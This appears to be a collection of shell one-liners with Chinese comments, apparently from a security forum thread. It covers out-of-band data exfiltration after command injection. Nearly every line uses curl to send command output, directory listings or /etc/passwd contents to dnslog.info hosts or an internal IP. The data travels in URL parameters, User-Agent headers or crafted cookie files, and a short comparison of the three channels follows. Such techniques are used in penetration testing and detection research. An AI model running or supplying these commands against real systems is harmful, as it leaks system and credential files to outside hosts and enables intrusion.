curl -b cookie=admin ccxxxx.dnslog.info
echo -e "ccxxxx.dnslog.info\tFALSE\t/\tFALSE\t1450450776\tusername\tadmin" > cookies.txt
pwd | tee -a cookies.txt
paste -s -d ":" cookies.txt | tee cookies.txt
curl -b cookies.txt ccxxxx.dnslog.info
a.echo -e "ccxxxx.dnslog.info\tFALSE\t/\tFALSE\t1450450776\tusername\tadmin" > cookies.txt
b.pwd | tee -a cookies.txt
c.paste -s -d ":" cookies.txt | tee cookies.txt
d.curl -b cookies.txt cc6020.dnslog.info
6.主站求该思路利用案例
pwd > test.txt curl http://xxx.dnslog.info -G -d @test.txt 这样是不是更简单些
curl "http://ccxxxx.dnslog.info/?`$cmd`"
curl http://xxx.xxxxxx.dnslog.info -H "User-Agent: `cat /etc/passwd | xargs echo –n`"
curl "http://test.990d97.dnslog.info" -G -d @`ls>test.txt|paste -s -d "?" test.txt>test2.txt | echo test2.txt` 参数后面用? 隔开换行
curl "http://test.990d97.dnslog.info" -G -d @`ls > test.txt| echo test.txt`
1.url方式:curl "http://ccxxxx.dnslog.info/?`$cmd pwd`" 2.agent方式:curl http://xxx.xxxxxx.dnslog.info -H "User-Agent: `cat /etc/passwd | xargs echo –n`" 3.cookie方式:就是当前案例,可以带文件,最复杂的方式,特殊情况可以用到
cookie方式:curl --cookie "cookie=admin `$cmd cat /etc/passwd | xargs echo –n`" http://xxx.xxxxxx.dnslog.info
curl http://192.168.90.132/info?"pwd=$(pwd)&uname=$(uname -ano)"